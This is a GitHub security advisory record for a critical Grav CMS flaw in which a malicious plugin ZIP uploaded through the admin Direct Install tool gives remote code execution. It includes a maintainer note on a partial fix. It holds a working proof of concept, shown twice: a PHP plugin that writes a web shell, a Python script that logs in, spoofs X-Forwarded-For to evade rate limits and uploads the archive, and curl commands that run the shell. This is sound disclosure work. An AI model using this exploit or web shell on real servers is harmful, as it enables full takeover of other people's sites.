GHSA-W48R-JPPP-RCFW
Vulnerability from github – Published: 2026-05-05 21:21 – Updated: 2026-05-05 21:21Summary
An authenticated user with administrative privileges can achieve Remote Code Execution (RCE) by uploading a specially crafted ZIP file through the "Direct Install" tool. While the system attempts to block direct .php file uploads, it fails to inspect the contents of uploaded ZIP archives. Once a malicious plugin is extracted, it can execute arbitrary PHP code or drop a persistent web shell on the server.
Details
The vulnerability exists in the handling of the directInstall task within the Admin plugin and the Grav Package Manager (GPM) core.
- Vulnerable Endpoints: /admin/tools/direct-install
- Vulnerable Logic: AdminController.php (lines 1247-1295) and Gpm.php (lines 214-285).
- Root Cause: The function Installer::install() (called in Gpm.php:291) extracts the contents of the ZIP file directly into the /user/
plugins/ or /user/themes/ directories without validating the file extensions or the content of the files inside the archive.
PoC
- Prepare the Malicious Plugin
Create a directory named shellplugin and add the following files:
shellplugin.php:
<?php
namespace Grav\Plugin;
use Grav\Common\Plugin;
class ShellpluginPlugin extends Plugin {
public static function getSubscribedEvents(): array {
return ['onPluginsInitialized' => ['onPluginsInitialized', 0]];
}
public function onPluginsInitialized(): void {
$shell_path = GRAV_ROOT . '/shell.php';
if (!file_exists($shell_path)) {
file_put_contents($shell_path, '<?php system($_GET["cmd"]); ?>');
}
}
}
(Also include a basic blueprints.yaml and shellplugin.yaml as per Grav standards).
- Create the ZIP Archive
`zip -r /tmp/shellplugin.zip shellplugin/`
3. Execute the Exploit Script
Run the following Python script to automate the login, nonce retrieval, and malicious upload process:
`import requests, re, json
s = requests.Session()
BASE_URL = 'http://127.0.0.1'
1. Login and Bypass Rate Limit via X-Forwarded-For
r = s.get(f'{BASE_URL}/admin')
nonce = re.search(r'name="login-nonce" value="([^"]+)"', r.text).group(1)
r2 = s.post(f'{BASE_URL}/admin',
headers={'X-Forwarded-For': '10.0.0.3'},
data={'data[username]': 'admin', 'data[password]': 'admin_password_here', 'task': 'login', 'login-nonce': nonce},
allow_redirects=False)
redirect = json.loads(r2.text)['redirect']
s.get(redirect)
print(f"[+] Logged in successfully.")
2. Extract Admin Nonce from Tools Page
tools = s.get(f'{BASE_URL}/admin/tools/direct-install')
admin_nonce = re.search(r'admin-nonce.*?value="([a-f0-9]{32})"', tools.text).group(1)
print(f"[+] Retrieved Admin Nonce: {admin_nonce}")
3. Upload and Execute
with open('/tmp/shellplugin.zip', 'rb') as f:
zip_data = f.read()
resp = s.post(f'{BASE_URL}/admin/tools/direct-install',
data={'task': 'directInstall', 'admin-nonce': admin_nonce},
files={'uploaded_file': ('shellplugin.zip', zip_data, 'application/zip')},
headers={'X-Forwarded-For': '10.0.0.3'}
)
if "installation" in resp.text.lower():
print("[+] Plugin installed successfully!")
# Trigger the shell
s.get(BASE_URL)
print(f"[+] RCE Check: {BASE_URL}/shell.php?cmd=id")`
4. Verification
Access the dropped shell to confirm command execution:
curl -s "http://127.0.0.1/shell.php?cmd=whoami"
Impact
- Vulnerability Type: Remote Code Execution (RCE) / Path Traversal (via extraction).
- Who is impacted: Any Grav installation where the Admin plugin is enabled and an attacker has gained administrative access (or an administrator is tricked into uploading a malicious ZIP).
- Severity: Critical. Although it requires admin privileges, the ability to gain full server control (system-level access) makes this a high-impact finding, especially in multi-user environments or via CSRF/Session hijacking.
Maintainer note — partial fix applied (2026-04-24)
Fixed in Grav core on the 2.0 branch: commit 5a12f9be8 — ships in 2.0.0-beta.2.
What changed (path layer): Installer::unZip now pre-validates every entry name before calling ZipArchive::extractTo, and aborts the install if any entry looks like a Zip Slip primitive — .. path segments, absolute paths (Unix /… or Windows C:\…/\…), or NUL bytes. A crafted ZIP can no longer write files outside the target user/plugins/<slug> or user/themes/<slug> directory.
Explicit scope limitation: the "well-formed but malicious plugin code" angle of the PoC — uploading a plugin whose own PHP is the payload — is not addressed by this change. directInstall is an administrator-only operation whose explicit purpose is to install arbitrary PHP; defending against it would require a plugin-signing or marketplace-allowlist feature, which is a separate roadmap item. Administrators should only install plugins from trusted sources. This is now explicitly documented in the commit note.
Files:
- system/src/Grav/Common/GPM/Installer.php — new isSafeArchiveEntry() helper + pre-extract validation loop.
- tests/unit/Grav/Common/Security/ZipSlipSecurityTest.php — 21 cases covering Unix/Windows/URL-encoded traversal primitives and legitimate plugin names.
Acknowledgements
The issue was identified by Security Researcher Mustafa Murat Akgül.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "getgrav/grav"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.0-beta.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42607"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T21:21:10Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Summary\nAn authenticated user with administrative privileges can achieve Remote Code Execution (RCE) by uploading a specially crafted ZIP file through the \"Direct Install\" tool. While the system attempts to block direct .php file uploads, it fails to inspect the contents of uploaded ZIP archives. Once a malicious plugin is extracted, it can execute arbitrary PHP code or drop a persistent web shell on the server.\n\n### Details\n\nThe vulnerability exists in the handling of the directInstall task within the Admin plugin and the Grav Package Manager (GPM) core.\n\n- Vulnerable Endpoints: /admin/tools/direct-install\n- Vulnerable Logic: AdminController.php (lines 1247-1295) and Gpm.php (lines 214-285).\n- Root Cause: The function Installer::install() (called in Gpm.php:291) extracts the contents of the ZIP file directly into the /user/\n\nplugins/ or /user/themes/ directories without validating the file extensions or the content of the files inside the archive.\n\n### PoC\n1. Prepare the Malicious Plugin\n\nCreate a directory named shellplugin and add the following files:\n\nshellplugin.php:\n```\n\n\u003c?php\nnamespace Grav\\Plugin;\nuse Grav\\Common\\Plugin;\n\nclass ShellpluginPlugin extends Plugin {\n public static function getSubscribedEvents(): array {\n return [\u0027onPluginsInitialized\u0027 =\u003e [\u0027onPluginsInitialized\u0027, 0]];\n }\n public function onPluginsInitialized(): void {\n $shell_path = GRAV_ROOT . \u0027/shell.php\u0027;\n if (!file_exists($shell_path)) {\n file_put_contents($shell_path, \u0027\u003c?php system($_GET[\"cmd\"]); ?\u003e\u0027);\n }\n }\n}\n\n```\n(Also include a basic blueprints.yaml and shellplugin.yaml as per Grav standards).\n\n2. Create the ZIP Archive\n```\n`zip -r /tmp/shellplugin.zip shellplugin/`\n\n3. Execute the Exploit Script\nRun the following Python script to automate the login, nonce retrieval, and malicious upload process:\n\n`import requests, re, json\n\n\ns = requests.Session()\nBASE_URL = \u0027http://127.0.0.1\u0027\n```\n\n#### 1. Login and Bypass Rate Limit via X-Forwarded-For\n```\nr = s.get(f\u0027{BASE_URL}/admin\u0027)\nnonce = re.search(r\u0027name=\"login-nonce\" value=\"([^\"]+)\"\u0027, r.text).group(1)\n\nr2 = s.post(f\u0027{BASE_URL}/admin\u0027,\n headers={\u0027X-Forwarded-For\u0027: \u002710.0.0.3\u0027},\n data={\u0027data[username]\u0027: \u0027admin\u0027, \u0027data[password]\u0027: \u0027admin_password_here\u0027, \u0027task\u0027: \u0027login\u0027, \u0027login-nonce\u0027: nonce},\n allow_redirects=False)\n\nredirect = json.loads(r2.text)[\u0027redirect\u0027]\ns.get(redirect)\nprint(f\"[+] Logged in successfully.\")\n\n```\n#### 2. Extract Admin Nonce from Tools Page\n```\ntools = s.get(f\u0027{BASE_URL}/admin/tools/direct-install\u0027)\nadmin_nonce = re.search(r\u0027admin-nonce.*?value=\"([a-f0-9]{32})\"\u0027, tools.text).group(1)\nprint(f\"[+] Retrieved Admin Nonce: {admin_nonce}\")\n```\n\n#### 3. Upload and Execute\n```\nwith open(\u0027/tmp/shellplugin.zip\u0027, \u0027rb\u0027) as f:\n zip_data = f.read()\n\nresp = s.post(f\u0027{BASE_URL}/admin/tools/direct-install\u0027,\n data={\u0027task\u0027: \u0027directInstall\u0027, \u0027admin-nonce\u0027: admin_nonce},\n files={\u0027uploaded_file\u0027: (\u0027shellplugin.zip\u0027, zip_data, \u0027application/zip\u0027)},\n headers={\u0027X-Forwarded-For\u0027: \u002710.0.0.3\u0027}\n)\n\nif \"installation\" in resp.text.lower():\n print(\"[+] Plugin installed successfully!\")\n # Trigger the shell\n s.get(BASE_URL) \n print(f\"[+] RCE Check: {BASE_URL}/shell.php?cmd=id\")`\n```\n \n#### 4. Verification\nAccess the dropped shell to confirm command execution:\n`curl -s \"http://127.0.0.1/shell.php?cmd=whoami\"`\n\n\u003cimg width=\"2547\" height=\"756\" alt=\"resim (2)\" src=\"https://github.com/user-attachments/assets/6a8c25f1-9a9d-469f-ab68-3c7007e446d4\" /\u003e\n\n\u003cimg width=\"898\" height=\"89\" alt=\"resim (3)\" src=\"https://github.com/user-attachments/assets/ec097785-1196-47a4-b24e-82fcbf0f7520\" /\u003e\n\n\n### Impact\n\n- Vulnerability Type: Remote Code Execution (RCE) / Path Traversal (via extraction).\n- Who is impacted: Any Grav installation where the Admin plugin is enabled and an attacker has gained administrative access (or an administrator is tricked into uploading a malicious ZIP).\n- Severity: Critical. Although it requires admin privileges, the ability to gain full server control (system-level access) makes this a high-impact finding, especially in multi-user environments or via CSRF/Session hijacking.\n\n## Maintainer note \u2014 partial fix applied (2026-04-24)\n\nFixed in Grav core on the `2.0` branch: commit [`5a12f9be8`](https://github.com/getgrav/grav/commit/5a12f9be8) \u2014 ships in **2.0.0-beta.2**.\n\n**What changed (path layer):** `Installer::unZip` now pre-validates every entry name before calling `ZipArchive::extractTo`, and aborts the install if any entry looks like a Zip Slip primitive \u2014 `..` path segments, absolute paths (Unix `/\u2026` or Windows `C:\\\u2026`/`\\\u2026`), or NUL bytes. A crafted ZIP can no longer write files outside the target `user/plugins/\u003cslug\u003e` or `user/themes/\u003cslug\u003e` directory.\n\n**Explicit scope limitation:** the \"well-formed but malicious plugin code\" angle of the PoC \u2014 uploading a plugin whose own PHP is the payload \u2014 is **not** addressed by this change. `directInstall` is an administrator-only operation whose explicit purpose is to install arbitrary PHP; defending against it would require a plugin-signing or marketplace-allowlist feature, which is a separate roadmap item. Administrators should only install plugins from trusted sources. This is now explicitly documented in the commit note.\n\n**Files:**\n- [`system/src/Grav/Common/GPM/Installer.php`](https://github.com/getgrav/grav/blob/2.0/system/src/Grav/Common/GPM/Installer.php) \u2014 new `isSafeArchiveEntry()` helper + pre-extract validation loop.\n- [`tests/unit/Grav/Common/Security/ZipSlipSecurityTest.php`](https://github.com/getgrav/grav/blob/2.0/tests/unit/Grav/Common/Security/ZipSlipSecurityTest.php) \u2014 21 cases covering Unix/Windows/URL-encoded traversal primitives and legitimate plugin names.\n\n---\n\n### Acknowledgements\nThe issue was identified by Security Researcher **Mustafa Murat Akg\u00fcl**.\n\n\n---",
"id": "GHSA-w48r-jppp-rcfw",
"modified": "2026-05-05T21:21:11Z",
"published": "2026-05-05T21:21:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/getgrav/grav/security/advisories/GHSA-w48r-jppp-rcfw"
},
{
"type": "WEB",
"url": "https://github.com/getgrav/grav/commit/5a12f9be8314682c8713e569e330f11805d0a663"
},
{
"type": "PACKAGE",
"url": "https://github.com/getgrav/grav"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Grav Vulnerable to Remote Code Execution (RCE) via Malicious Plugin ZIP Upload in Direct Install Feature"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.